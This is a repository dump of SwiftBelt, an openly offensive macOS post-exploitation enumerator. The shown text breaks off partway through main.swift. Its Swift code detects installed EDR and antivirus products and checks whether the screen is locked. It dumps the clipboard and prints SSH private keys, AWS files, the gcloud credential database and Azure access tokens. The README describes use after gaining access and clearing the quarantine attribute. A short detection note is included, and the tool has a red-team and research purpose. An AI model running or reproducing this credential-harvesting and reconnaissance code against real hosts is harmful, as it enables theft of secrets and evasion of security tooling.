├── .gitignore ├── LICENSE ├── Package.swift ├── README.md ├── Sources └── SwiftBelt │ └── main.swift ├── SwiftBelt.xcodeproj ├── SwiftBeltTests_Info.plist ├── project.pbxproj ├── project.xcworkspace │ ├── contents.xcworkspacedata │ ├── xcshareddata │ │ ├── IDEWorkspaceChecks.plist │ │ └── WorkspaceSettings.xcsettings │ └── xcuserdata │ │ └── Cedric.owens.xcuserdatad │ │ └── UserInterfaceState.xcuserstate └── xcshareddata │ └── xcschemes │ ├── SwiftBelt-Package.xcscheme │ └── SwiftBelt.xcscheme ├── Tests ├── LinuxMain.swift └── SwiftBeltTests │ ├── SwiftBeltTests.swift │ └── XCTestManifests.swift └── sbelthelp.png /.gitignore: -------------------------------------------------------------------------------- 1 | .build/ 2 | .swiftpm/ 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, Cedric Owens 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /Package.swift: -------------------------------------------------------------------------------- 1 | // swift-tools-version:5.2 2 | // The swift-tools-version declares the minimum version of Swift required to build this package. 3 | 4 | import PackageDescription 5 | 6 | let package = Package( 7 | name: "SwiftBelt", 8 | dependencies: [ 9 | // Dependencies declare other packages that this package depends on. 10 | // .package(url: /* package url */, from: "1.0.0"), 11 | ], 12 | targets: [ 13 | // Targets are the basic building blocks of a package. A target can define a module or a test suite. 14 | // Targets can depend on other targets in this package, and on products in packages which this package depends on. 15 | .target( 16 | name: "SwiftBelt", 17 | dependencies: []), 18 | .testTarget( 19 | name: "SwiftBeltTests", 20 | dependencies: ["SwiftBelt"]), 21 | ] 22 | ) 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SwiftBelt 2 | 3 | ## About 4 | 5 | SwiftBelt is a macOS enumerator inspired by @harmjoy's Windows-based Seatbelt enumeration tool. SwiftBelt does not utilize any command line utilities and instead uses Swift code (leveraging the Cocoa Framework, Foundation libraries, OSAKit libraries, etc.) to perform system enumeration. This can be leveraged on the offensive side to perform enumeration once you gain access to a macOS host. I intentionally did not include any functions that cause pop-ups (ex: keychain enumeration). 6 | 7 | Thanks Ramos04 for contributing code to look for various Objective See tools and mattreduce for contributing code for zshell history as well as azure creds. 8 | 9 | ----------------------- 10 | 11 | ![Image](sbelthelp.png) 12 | 13 | 14 | ## Steps 15 | 1. Ensure swift is installed on your macOS host 16 | 17 | 2. From a terminal cd into the SwiftBelt directory and run: "swift build" to generate the binary. The binary will be dropped in the .build/debug folder inside of the SwiftBelt folder and will be named SwiftBelt 18 | 19 | 3. Copy to the desired host and clear the quarantine attribute ($ xattr -c SwiftBelt) and set as executable ($ chmod +x SwiftBelt) 20 | 21 | 4. Execute 22 | 23 | ## Help menu: 24 | 25 | ***SwiftBelt Options:*** 26 | 27 | **-CheckFDA** --> Check for Full Disk Access (without generating a TCC prompt to the user even if Terminal has not been granted any TCC permissions). Does this searching for TCC.db using Spotlight db API queries. Will return wither FDA has already been granted to your app context or not. 28 | 29 | **-SecurityTools** --> Check for the presence of common macOS security tools (at least the ones I am familiar with) 30 | 31 | **-SystemInfo** --> Check for the current execution context, TCC Accessibility access, basic system info, last boot time, idle time, info on whether the screen is currently locked or not, and environment variable info 32 | 33 | **-LockCheck** --> Check for whether the screen is currently locked or not (I added this as a separate check as well as bundled it within SystemInfo) 34 | 35 | **-SearchCreds** --> Search for ssh/aws/azure/gcloud creds 36 | 37 | **-Clipboard** --> Dump clipboard contents 38 | 39 | **-RunningApps** --> List all running apps 40 | 41 | **-ListUsers** --> List local user accounts 42 | 43 | **-LaunchAgents** --> List launch agents, launch daemons, and configuration profile files 44 | 45 | **-BrowserHistory** --> Attempt to pull Safari, Firefox, Chrome, and Quarantine history (note as FYI: if Chrome or Firefox is actively running, the tool will not be able to read the locked database to extract info). However, the locked db can be copied elsewhere and read from. 46 | 47 | **-SlackExtract** --> Check if Slack is present and if so read cookie, downloads, and workspaces info (leverages research done by Cody Thomas) 48 | 49 | **-ShellHistory** --> Read shell (Bash or Zsh) history content 50 | 51 | **-Bookmarks** --> Read Chrome saved bookmarks 52 | 53 | **-ChromeUsernames** --> Read from ~/Library/Application Support/Google/Chrome/Default/Login Data which stores urls along with usernames for each 54 | 55 | **-UniversalAccessAuth** --> Reads from /Library/Preferences/com.apple.universalaccessAuthWarning.plist to show a list of applications that the user has received authorization prompts for along with 1 (for accept) or 2 (for deny) 56 | 57 | **-StickieNotes** --> Reads the contents of any open Stickie Note files on the system 58 | 59 | **-TextEditCheck** --> Checks for unsaved TextEdit documents and attempts to read file contents 60 | 61 | **-JupyterCheck** --> Checks for the presence of the ipython history db (which Jupyter notebook uses) and if found reads the contents (which includes python commands executed) 62 | 63 | 64 | ## Usage: 65 | 66 | To run all options: 67 | 68 | > ./SwiftBelt 69 | 70 | To specify certain options: 71 | 72 | > ./SwiftBelt [option1] [option2] [option3]... 73 | 74 | Example: 75 | 76 | > ./SwiftBelt -SystemInfo -Clipboard -SecurityTools ... 77 | 78 | ----------------------- 79 | 80 | ## Detection 81 | 82 | Though this tool does not use any command line utilities (which are easy to detect), this tool does read from several files on the system which can be detected by any tools that leverage the Endpoint Security Framework (these file reads in particular are captured by ES_EVENT_TYPE_NOTIFY_OPEN events within ESF). 83 | -------------------------------------------------------------------------------- /Sources/SwiftBelt/main.swift: -------------------------------------------------------------------------------- 1 | import Cocoa 2 | import Foundation 3 | import OSAKit 4 | import Darwin 5 | import OpenDirectory 6 | import SQLite3 7 | 8 | let binname = CommandLine.arguments[0] 9 | let fileMan = FileManager.default 10 | var isDir = ObjCBool(true) 11 | 12 | let black = "\u{001B}[0;30m" 13 | let red = "\u{001B}[0;31m" 14 | let green = "\u{001B}[0;32m" 15 | let yellow = "\u{001B}[0;33m" 16 | let blue = "\u{001B}[0;34m" 17 | let magenta = "\u{001B}[0;35m" 18 | let cyan = "\u{001B}[0;36m" 19 | let white = "\u{001B}[0;37m" 20 | let colorend = "\u{001B}[0;0m" 21 | var hiddenString = "" 22 | var nm1 = "" 23 | var nm2 = "" 24 | var nm3 = "" 25 | var nm4 = "" 26 | 27 | func Banner(){ 28 | print("\(cyan)++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\(colorend)") 29 | print("\(yellow) _______ _ _ ___ _______ _______ _______ _______ ___ _______") 30 | print("| || | _ | || | | || || _ || || | | |") 31 | print("| _____|| || || || | | ___||_ _|| |_| || ___|| | |_ _|") 32 | print("| |_____ | || | | |___ | | | || |___ | | | |") 33 | print("|_____ || || | | ___| | | | _ | | ___|| |___ | |") 34 | print(" _____| || _ || | | | | | | |_| || |___ | | | |") 35 | print("|_______||__| |__||___| |___| |___| |_______||_______||_______| |___|\(colorend)") 36 | print("") 37 | print("SwiftBelt: A MacOS enumerator similar to @harmjoy's Seatbelt. Does not use any command line utilities") 38 | print("author: @cedowens") 39 | print("\(cyan)++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\(colorend)") 40 | print("") 41 | } 42 | 43 | func SecCheck(){ 44 | 45 | print("\(yellow)##########################################\(colorend)") 46 | print("==> Security Tools Found:") 47 | do { 48 | let myWorkspace = NSWorkspace.shared 49 | let processes = myWorkspace.runningApplications 50 | var procList = [String]() 51 | for i in processes { 52 | let str1 = "\(i)" 53 | procList.append(str1) 54 | } 55 | let processes2 = procList.joined(separator: ", ") 56 | var b = 0 57 | 58 | if processes2.contains("CbOsxSensorService") || fileMan.fileExists(atPath: "/Applications/CarbonBlack/CbOsxSensorService"){ 59 | print("\(green)[+] Carbon Black OSX Sensor installed.\(colorend)") 60 | b = 1 61 | } 62 | if processes2.contains("CbDefense") || fileMan.fileExists(atPath: "/Applications/Confer.app",isDirectory: &isDir){ 63 | print("\(green)[+] Carbon Black Defense A/V installed\(colorend)") 64 | b = 1 65 | } 66 | if processes2.contains("ESET") || processes2.contains("eset") || fileMan.fileExists(atPath: "Library/Application Support/com.eset.remoteadministrator.agent",isDirectory: &isDir){ 67 | print("\(green)[+] ESET A/V installed\(colorend)") 68 | b = 1 69 | } 70 | if processes2.contains("Littlesnitch") || processes2.contains("Snitch") || fileMan.fileExists(atPath: "/Library/Little Snitch/", isDirectory: &isDir) { 71 | print("\(green)[+] Little snitch firewall found\(colorend)") 72 | b = 1 73 | } 74 | if processes2.contains("xagt") || fileMan.fileExists(atPath: "/Library/FireEye/xagt",isDirectory: &isDir) { 75 | print("\(green)[+] FireEye HX agent installed\(colorend)") 76 | b = 1 77 | } 78 | if processes2.contains("falcond") || fileMan.fileExists(atPath: "/Library/CS/falcond") || fileMan.fileExists(atPath: "/Applications/Falcon.app/Contents/Resources",isDirectory: &isDir) { 79 | print("\(green)[+] Crowdstrike Falcon agent found\(colorend)") 80 | b = 1 81 | } 82 | if processes2.contains("OpenDNS") || processes2.contains("opendns") || fileMan.fileExists(atPath: "/Library/Application Support/OpenDNS Roaming Client/dns-updater") { 83 | print("\(green)[+] OpenDNS Client running\(colorend)") 84 | b = 1 85 | } 86 | if processes2.contains("SentinelOne") || processes2.contains("sentinelone"){ 87 | print("\(green)[+] SentinelOne agent running\(colorend)") 88 | b = 1 89 | } 90 | if processes2.contains("GlobalProtect") || processes2.contains("/PanGPS") || fileMan.fileExists(atPath: "/Library/Logs/PaloAltoNetworks/GlobalProtect",isDirectory: &isDir) || fileMan.fileExists(atPath: "/Library/PaloAltoNetworks",isDirectory: &isDir){ 91 | print("\(green)[+] Global Protect PAN VPN client running\(colorend)") 92 | b = 1 93 | } 94 | if processes2.contains("HostChecker") || processes2.contains("pulsesecure") || fileMan.fileExists(atPath: "/Applications/Pulse Secure.app",isDirectory: &isDir) || processes2.contains("Pulse-Secure"){ 95 | print("\(green)[+] Pulse VPN client running\(colorend)") 96 | b = 1 97 | } 98 | if processes2.contains("AMP-for-Endpoints") || fileMan.fileExists(atPath: "/opt/cisco/amp",isDirectory: &isDir){ 99 | print("\(green)[+] Cisco AMP for endpoints found\(colorend)") 100 | b = 1 101 | } 102 | if fileMan.fileExists(atPath: "/usr/local/bin/jamf") || fileMan.fileExists(atPath: "/usr/local/jamf"){ 103 | print("\(green)[+] JAMF found on this host\(colorend)") 104 | b = 1 105 | } 106 | if fileMan.fileExists(atPath: "/Library/Application Support/Malwarebytes",isDirectory: &isDir){ 107 | print("\(green)[+] Malwarebytes A/V found on this host\(colorend)") 108 | b = 1 109 | } 110 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 111 | print("\(green)[+] osqueryi found\(colorend)") 112 | b = 1 113 | } 114 | if fileMan.fileExists(atPath: "/Library/Sophos Anti-Virus/",isDirectory: &isDir){ 115 | print("\(green)[+] Sophos antivirus found\(colorend)") 116 | b = 1 117 | } 118 | if processes2.contains("lulu") || fileMan.fileExists(atPath: "/Library/Objective-See/Lulu",isDirectory: &isDir) || fileMan.fileExists(atPath: "/Applications/LuLu.app",isDirectory: &isDir) { 119 | print("\(green)[+] Objective-See LuLu firewall found\(colorend)") 120 | b = 1 121 | } 122 | if processes2.contains("dnd") || fileMan.fileExists(atPath: "/Library/Objective-See/DND",isDirectory: &isDir) || fileMan.fileExists(atPath: "/Applications/Do Not Disturb.app/",isDirectory: &isDir) { 123 | print("\(green)[+] Objective-See Do Not Disturb, physical access detection tool, found\(colorend)") 124 | b = 1 125 | } 126 | if processes2.contains("WhatsYourSign") || fileMan.fileExists(atPath: "/Applications/WhatsYourSign.app",isDirectory: &isDir) { 127 | print("\(green)[+] Objective-See Whats Your Sign, code signature information tool, found\(colorend)") 128 | b = 1 129 | } 130 | // Knock Knock 131 | if processes2.contains("KnockKnock") || fileMan.fileExists(atPath: "/Applications/KnockKnock.app",isDirectory: &isDir) { 132 | print("\(green)[+] Objective-See Knock Knock, persistent software detection tool, found\(colorend)") 133 | b = 1 134 | } 135 | if processes2.contains("reikey") || fileMan.fileExists(atPath: "/Applications/ReiKey.app",isDirectory: &isDir) { 136 | print("\(green)[+] Objective-See ReiKey, keyboard event taps detection tool, found\(colorend)") 137 | b = 1 138 | } 139 | if processes2.contains("OverSight") || fileMan.fileExists(atPath: "/Applications/OverSight.app",isDirectory: &isDir) { 140 | print("\(green)[+] Objective-See Over Sight, microphone and camera monitor tool, found\(colorend)") 141 | b = 1 142 | } 143 | if processes2.contains("KextViewr") || fileMan.fileExists(atPath: "/Applications/KextViewr.app",isDirectory: &isDir) { 144 | print("\(green)[+] Objective-See KextViewr, kernel module detection tool, found\(colorend)") 145 | b = 1 146 | } 147 | if processes2.contains("blockblock") || fileMan.fileExists(atPath: "/Applications/BlockBlock Helper.app",isDirectory: &isDir) { 148 | print("\(green)[+] Objective-See Block Block, persistent location monitoring tool, found\(colorend)") 149 | b = 1 150 | } 151 | if processes2.contains("Netiquette") || fileMan.fileExists(atPath: "/Applications/Netiquette.app",isDirectory: &isDir) { 152 | print("\(green)[+] Objective-See Netiquette, network monitoring tool, found\(colorend)") 153 | b = 1 154 | } 155 | if processes2.contains("processmonitor") || fileMan.fileExists(atPath: "/Applications/ProcessMonitor.app",isDirectory: &isDir) { 156 | print("\(green)[+] Objective-See ProcessMonitor, process monitoring tool, found\(colorend)") 157 | b = 1 158 | } 159 | if processes2.contains("filemonitor") || fileMan.fileExists(atPath: "/Applications/FileMonitor.app",isDirectory: &isDir) { 160 | print("\(green)[+] Objective-See FileMonitor, file monitoring tool, found\(colorend)") 161 | b = 1 162 | } 163 | 164 | if b == 0{ 165 | print("[-] No security products found.") 166 | } 167 | 168 | } catch { 169 | print("\(red)[-] Error listing running applications\(colorend)") 170 | } 171 | 172 | print("\(yellow)##########################################\(colorend)") 173 | 174 | } 175 | 176 | 177 | func getaddy() -> [String]{ 178 | //getaddy function code lifted from https://stackoverflow.com/questions/25626117/how-to-get-ip-addresses-in-swift/25627545 179 | var addresses = [String]() 180 | 181 | var ifaddr : UnsafeMutablePointer? 182 | guard getifaddrs(&ifaddr) == 0 else { return [] } 183 | guard let firstAddr = ifaddr else { return [] } 184 | 185 | for ptr in sequence(first: firstAddr, next: { $0.pointee.ifa_next}) { 186 | let flags = Int32(ptr.pointee.ifa_flags) 187 | let addr = ptr.pointee.ifa_addr.pointee 188 | 189 | if (flags & (IFF_UP|IFF_RUNNING|IFF_LOOPBACK)) == (IFF_UP|IFF_RUNNING) { 190 | if addr.sa_family == UInt8(AF_INET) || addr.sa_family == UInt8(AF_INET6) { 191 | var hostname = [CChar](repeating: 0, count: Int(NI_MAXHOST)) 192 | if (getnameinfo(ptr.pointee.ifa_addr, socklen_t(addr.sa_len), &hostname, socklen_t(hostname.count),nil, socklen_t(0), NI_NUMERICHOST) == 0) { 193 | let address = String(cString: hostname) 194 | addresses.append(address) 195 | } 196 | } 197 | } 198 | } 199 | freeifaddrs(ifaddr) 200 | return addresses 201 | } 202 | 203 | func SystemInfo(){ 204 | if let var1 = ProcessInfo.processInfo.environment["__CFBundleIdentifier"]{ 205 | if !("\(var1)".contains("0")){ 206 | print("==> Current process context:\(green)") 207 | print(var1 + "\(colorend)") 208 | 209 | } 210 | 211 | } 212 | 213 | if let var2 = ProcessInfo.processInfo.environment["XPC_SERVICE_NAME"]{ 214 | if !("\(var2)".contains("0")){ 215 | print("==> Current process context:\(green)") 216 | print(var2 + "\(colorend)") 217 | 218 | } 219 | 220 | } 221 | if let var3 = ProcessInfo.processInfo.environment["PACKAGE_PATH"]{ 222 | if !("\(var3)".contains("0")){ 223 | print("==> Current process context:\(green)") 224 | print(var3 + "\(colorend)") 225 | 226 | } 227 | 228 | } 229 | 230 | var aCheck = AXIsProcessTrusted() 231 | print("==> Accessibility TCC Check:") 232 | if aCheck{ 233 | print("\(green)[+] Your current app context DOES have Accessibility TCC permissions!\(colorend)") 234 | } 235 | else { 236 | print("\(red)[-] Your current app context does NOT have Accessibility TCC permissions!\(colorend)") 237 | 238 | } 239 | 240 | var size = 0 241 | let mach2 = "hw.model".cString(using: .utf8) 242 | sysctlbyname(mach2, nil, &size, nil, 0) 243 | var machine2 = [CChar](repeating: 0, count: Int(size)) 244 | sysctlbyname(mach2, &machine2, &size, nil, 0) 245 | let hwmodel = String(cString: machine2) 246 | print("==> Hardware Model: \(green)" + String(cString: machine2) + "\(colorend)") 247 | 248 | if !(hwmodel.contains("Mac")){ 249 | print("\(red)[-] Host IS running in a VM based on the hardware model value of \(hwmodel)\(colorend)") 250 | } 251 | else { 252 | print("\(green)[+] Host is a physical machine and is not in a VM based on the hardware model value of \(hwmodel)\(colorend)") 253 | } 254 | 255 | var boottime = timeval() 256 | var sz = MemoryLayout.size 257 | sysctlbyname("kern.boottime", &boottime, &sz, nil, 0) 258 | let dt = Date(timeIntervalSince1970: Double(boottime.tv_sec) + Double(boottime.tv_usec)/1_000_000.0) 259 | print("==> Last boot time: \(green)\(dt)\(colorend)") 260 | 261 | let mach4 = "kern.version".cString(using: .utf8) 262 | sysctlbyname(mach4, nil, &size, nil, 0) 263 | var machine4 = [CChar](repeating: 0, count: Int(size)) 264 | sysctlbyname(mach4, &machine4, &size, nil, 0) 265 | print("==> Kernel Info: \(green)" + String(cString: machine4) + "\(colorend)") 266 | 267 | let dev2 = IOServiceMatching("IOHIDSystem") 268 | let usbinfo1 : io_service_t = IOServiceGetMatchingService(kIOMasterPortDefault, dev2) 269 | let usbInfoAsString = IORegistryEntryCreateCFProperty(usbinfo1, kIOHIDIdleTimeKey as CFString, kCFAllocatorDefault, 0) 270 | IOObjectRelease(usbinfo1) 271 | let usbinfo2: CFTypeRef = usbInfoAsString!.takeUnretainedValue() 272 | let idleTime = Int("\(usbinfo2)") 273 | let idleTime2 = idleTime!/1000000000 274 | print("==> Idle Time (no keyboard/mouse interaction) in seconds: \(green)\(idleTime2)\(colorend)") 275 | 276 | let cgdict = CGSessionCopyCurrentDictionary()! 277 | 278 | let dict = cgdict as? [String: AnyObject] 279 | if dict!["CGSSessionScreenIsLocked"] != nil { 280 | print("\(green)[+] The screen IS currently locked!\(colorend)") 281 | } 282 | else { 283 | print("[-] The screen is \(red)NOT\(colorend) currently locked!") 284 | } 285 | 286 | 287 | 288 | let myScript = "return (system info)" 289 | let k = OSAScript.init(source: myScript) 290 | var compileErr : NSDictionary? 291 | k.compileAndReturnError(&compileErr) 292 | var scriptErr : NSDictionary? 293 | let myresult = k.executeAndReturnError(&scriptErr)! 294 | let result = "\(myresult)".replacingOccurrences(of: "'utxt'", with: "").replacingOccurrences(of: "'siav'", with: "AppleScript version").replacingOccurrences(of: "(", with: "").replacingOccurrences(of: ")", with: "").replacingOccurrences(of: "sikv", with: "AppleScript Studio version").replacingOccurrences(of: "sisn", with: "Short User Name").replacingOccurrences(of: "siln", with: "Long User Name").replacingOccurrences(of: "siid", with: "user ID").replacingOccurrences(of: "siul", with: "User Locale").replacingOccurrences(of: "home", with: "Home Directory").replacingOccurrences(of: "file://", with: "").replacingOccurrences(of: "'alis'", with: "").replacingOccurrences(of: "sibv", with: "").replacingOccurrences(of: "sicn", with: "Computer Name").replacingOccurrences(of: "ldsa", with: "Host Name").replacingOccurrences(of: "siip", with: "IP Address").replacingOccurrences(of: "siea", with: "Primary Ethernet Address").replacingOccurrences(of: "sict", with: "CPU Type").replacingOccurrences(of: "sics", with: "CPU Speed").replacingOccurrences(of: "sipm", with: "Memory").replacingOccurrences(of: "", with: "").replacingOccurrences(of: ", ", with: "\n").replacingOccurrences(of: "'':\"Macintosh HD:\"", with: "").replacingOccurrences(of: "sisv", with: "OS Version") 295 | print("\(yellow)##########################################\(colorend)") 296 | print("==> System Info:\(green)") 297 | 298 | print(result) 299 | let mySess = ODSession.default() 300 | do { 301 | let x = try mySess!.nodeNames() 302 | var y = [String]() 303 | for each in x{ 304 | y.append("\(each)") 305 | } 306 | var c = 0 307 | for item in y{ 308 | if item.contains("AD") || item.contains("Active Directory"){ 309 | print("\(green)[+] Host is likely joined to AD\(colorend)") 310 | c = 1 311 | } 312 | } 313 | 314 | if c == 0{ 315 | if fileMan.fileExists(atPath: "/Applications/NoMAD.app",isDirectory: &isDir){ 316 | print("\(green)\n[+] NoMAD found so host is likely joined to AD\(colorend)") 317 | } 318 | else { 319 | print("\(red)[-] No direct AD binding found on this host\(colorend)") 320 | } 321 | } 322 | print("") 323 | print("\(green)Open Directory Nodes Found On This Host:\(colorend)") 324 | for d in x{ 325 | print(d) 326 | } 327 | } catch { 328 | print("\(red)[-] Error checking Open Directory Nodes.\(colorend)") 329 | } 330 | print("") 331 | 332 | var plistFormat = PropertyListSerialization.PropertyListFormat.xml 333 | var pListData : [String: AnyObject] = [:] 334 | let pListPath : String? = Bundle.main.path(forResource: "data", ofType: "plist") 335 | 336 | 337 | if fileMan.fileExists(atPath: "/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist"){ 338 | let plistURL = URL(fileURLWithPath: "/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist") 339 | do { 340 | let plistXML = try Data(contentsOf: plistURL) 341 | pListData = try PropertyListSerialization.propertyList(from:plistXML, options: .mutableContainersAndLeaves, format: &plistFormat) as! [String:AnyObject] 342 | 343 | for each in pListData{ 344 | if each.key == "KnownNetworks"{ 345 | print("\(green)Wifi SSID found:\(colorend)") 346 | print("\(each.value)") 347 | 348 | } 349 | 350 | } 351 | 352 | } catch { 353 | print("\(red)[-] Error reading the com.appleairport.preferences.plist file\(colorend)") 354 | } 355 | 356 | } 357 | 358 | print("") 359 | print("Internal IP Addresses:\(green)") 360 | let internalAddys = getaddy() 361 | for ip in internalAddys{ 362 | print(ip) 363 | } 364 | 365 | print("") 366 | print("\(colorend)Environment variable info:\(green)") 367 | let v = ProcessInfo.processInfo.environment 368 | for x in v{ 369 | print(x) 370 | } 371 | 372 | print("") 373 | 374 | print("\(colorend)\(yellow)##########################################\(colorend)") 375 | } 376 | 377 | func TextEditCheck(){ 378 | let username = NSUserName() 379 | let path = "/Users/\(username)/Library/Containers/com.apple.TextEdit/Data/Library/Autosave Information" 380 | var dir = ObjCBool(true) 381 | var tcanary = 0 382 | 383 | if fileMan.fileExists(atPath: path, isDirectory: &dir){ 384 | print("\n==> TextEdit autosave temp dir found...checking for unsaved TextEdit documents...") 385 | do { 386 | var tempDirContents = try fileMan.contentsOfDirectory(atPath: path) 387 | if tempDirContents.count > 1 { 388 | for file in tempDirContents{ 389 | if file.hasSuffix(".rtf"){ 390 | tcanary = tcanary + 1 391 | var filecontents = try String(contentsOfFile: "/Users/\(username)/Library/Containers/com.apple.TextEdit/Data/Library/Autosave Information/\(file)") 392 | print("Unsaved TextEdit file contents:") 393 | print("\(green)\(filecontents)\(colorend)") 394 | } 395 | } 396 | } 397 | 398 | if tcanary == 0 { 399 | print("\(yellow)[-] No unsaved TextEdit documents found...\(colorend)") 400 | } 401 | 402 | } 403 | catch (let error){ 404 | print("\(red)\(error)\(colorend)") 405 | 406 | } 407 | 408 | 409 | 410 | } 411 | } 412 | 413 | func LockCheck(){ 414 | let cgdict = CGSessionCopyCurrentDictionary()! 415 | 416 | let dict = cgdict as? [String: AnyObject] 417 | if dict!["CGSSessionScreenIsLocked"] != nil { 418 | print("\(green)[+] The screen IS currently locked!\(colorend)") 419 | } 420 | else { 421 | print("[-] The screen is \(red)NOT\(colorend) currently locked!") 422 | } 423 | 424 | print("\(colorend)\(yellow)##########################################\(colorend)") 425 | } 426 | 427 | func SearchCreds() { 428 | print("\(colorend)SSH/AWS/gcloud Credentials Search:\(green)") 429 | let uName = NSUserName() 430 | if fileMan.fileExists(atPath: "/Users/\(uName)/.ssh",isDirectory: &isDir){ 431 | print("\(colorend)==>SSH Key Info Found:\(green)") 432 | let enumerator = fileMan.enumerator(atPath: "/Users/\(uName)/.ssh") 433 | while let each = enumerator?.nextObject() as? String { 434 | do { 435 | print("\(colorend)\(each):\(green)") 436 | let fileData = "/Users/\(uName)/.ssh/\(each)" 437 | let fileData2 = try String(contentsOfFile: fileData) 438 | if fileData2 != nil { 439 | print(fileData2) 440 | } 441 | 442 | } catch { 443 | print("\(red)[-] Error attempting to get file contents for /Users/\(uName)/.ssh/\(each)\(colorend)\n") 444 | } 445 | 446 | } 447 | 448 | } else { 449 | print("\(red)[-] ~/.ssh directory not found on this host\(colorend)") 450 | } 451 | 452 | print("") 453 | 454 | if fileMan.fileExists(atPath: "/Users/\(uName)/.aws",isDirectory: &isDir){ 455 | print("\(colorend)==>AWS Info Found:\(green)") 456 | let enumerator = fileMan.enumerator(atPath: "/Users/\(uName)/.aws") 457 | while let each = enumerator?.nextObject() as? String { 458 | do { 459 | print("\(colorend)\(each):\(green)") 460 | let fileData = "/Users/\(uName)/.aws/\(each)" 461 | let fileData2 = try String(contentsOfFile: fileData) 462 | if fileData2 != nil { 463 | print(fileData2) 464 | } 465 | 466 | } catch { 467 | print("\(red)[-] Error attempting to get file contents for /Users/\(uName)/.aws/\(each)\(colorend)\n") 468 | } 469 | } 470 | } else { 471 | print("\(red)[-] ~/.aws directory not found on this host\(colorend)") 472 | } 473 | 474 | print("") 475 | 476 | if fileMan.fileExists(atPath: "/Users/\(uName)/.config/gcloud/credentials.db"){ 477 | do { 478 | print("\(colorend)==>GCP gcloud Info Found:\(green)") 479 | var db : OpaquePointer? 480 | var dbURL = URL(fileURLWithPath: "/Users/\(uName)/.config/gcloud/credentials.db") 481 | if sqlite3_open(dbURL.path, &db) != SQLITE_OK{ 482 | print("\(red)[-] Could not open the gcloud credentials database\(colorend)") 483 | } else { 484 | let queryString = "select * from credentials;" 485 | var queryStatement: OpaquePointer? = nil 486 | if sqlite3_prepare_v2(db, queryString, -1, &queryStatement, nil) == SQLITE_OK{ 487 | while sqlite3_step(queryStatement) == SQLITE_ROW{ 488 | let col1 = sqlite3_column_text(queryStatement, 0) 489 | if col1 != nil{ 490 | nm1 = String(cString: col1!) 491 | } 492 | let col2 = sqlite3_column_text(queryStatement, 1) 493 | if col2 != nil{ 494 | nm2 = String(cString: col2!) 495 | } 496 | print("account_id: \(nm1) | value: \(nm2)") 497 | } 498 | sqlite3_finalize(queryStatement) 499 | } 500 | } 501 | 502 | } 503 | catch { 504 | print("\(red)[-] Error attempting to get contents of ~/.config/gcloud/credentials.db\(colorend)") 505 | } 506 | 507 | } else { 508 | print("\(red)[-] ~/.config/gcloud/credentials.db not found on this host\(colorend)") 509 | } 510 | 511 | print("") 512 | 513 | if fileMan.fileExists(atPath: "/Users/\(uName)/.azure",isDirectory: &isDir){ 514 | print("\(colorend)==>Azure Info Found:\(green)") 515 | 516 | let azureProfilePath = "/Users/\(uName)/.azure/azureProfile.json" 517 | do { 518 | let azureProfileContents = try String(contentsOfFile: azureProfilePath) 519 | 520 | print(azureProfilePath) 521 | print(azureProfileContents) 522 | print("") 523 | } catch { 524 | print("\(red)[-] Error attempting to get file contents for \(azureProfilePath)\(colorend)\n") 525 | } 526 | 527 | let azureTokensPath = "/Users/\(uName)/.azure/accessTokens.json" 528 | do { 529 | let azureTokensContents = try String(contentsOfFile: azureTokensPath) 530 | 531 | print(azureTokensPath) 532 | print(azureTokensContents) 533 | } catch { 534 | print("\(red)[-] Error attempting to get file contents for \(azureTokensPath)\(colorend)\n") 535 | } 536 | } else { 537 | print("\(red)[-] ~/.azure directory not found on this host\(colorend)") 538 | } 539 | 540 | print("\(colorend)\(yellow)##########################################\(colorend)") 541 | 542 | } 543 | 544 | func Clipboard(){ 545 | let clipBoard = NSPasteboard.general 546 | var clipArray = [String]() 547 | 548 | for each in clipBoard.pasteboardItems! { 549 | if let str = each.string(forType: NSPasteboard.PasteboardType(rawValue: "public.utf8-plain-text")){ 550 | clipArray.append(str) 551 | } 552 | } 553 | 554 | let joined = clipArray.joined(separator: ", ") 555 | 556 | print("\(yellow)##########################################\(colorend)") 557 | print("==> Clipboard Info:\(green)") 558 | print(joined) 559 | // print(myresult2) 560 | print("\(colorend)\(yellow)##########################################\(colorend)\(colorend)") 561 | 562 | } 563 | 564 | func RunningApps(){ 565 | let myWorkSpace = NSWorkspace.shared 566 | let appCount = myWorkSpace.runningApplications.count 567 | 568 | print("\(yellow)##########################################\(colorend)") 569 | print("==>Count of Running Apps: \(appCount)") 570 | 571 | 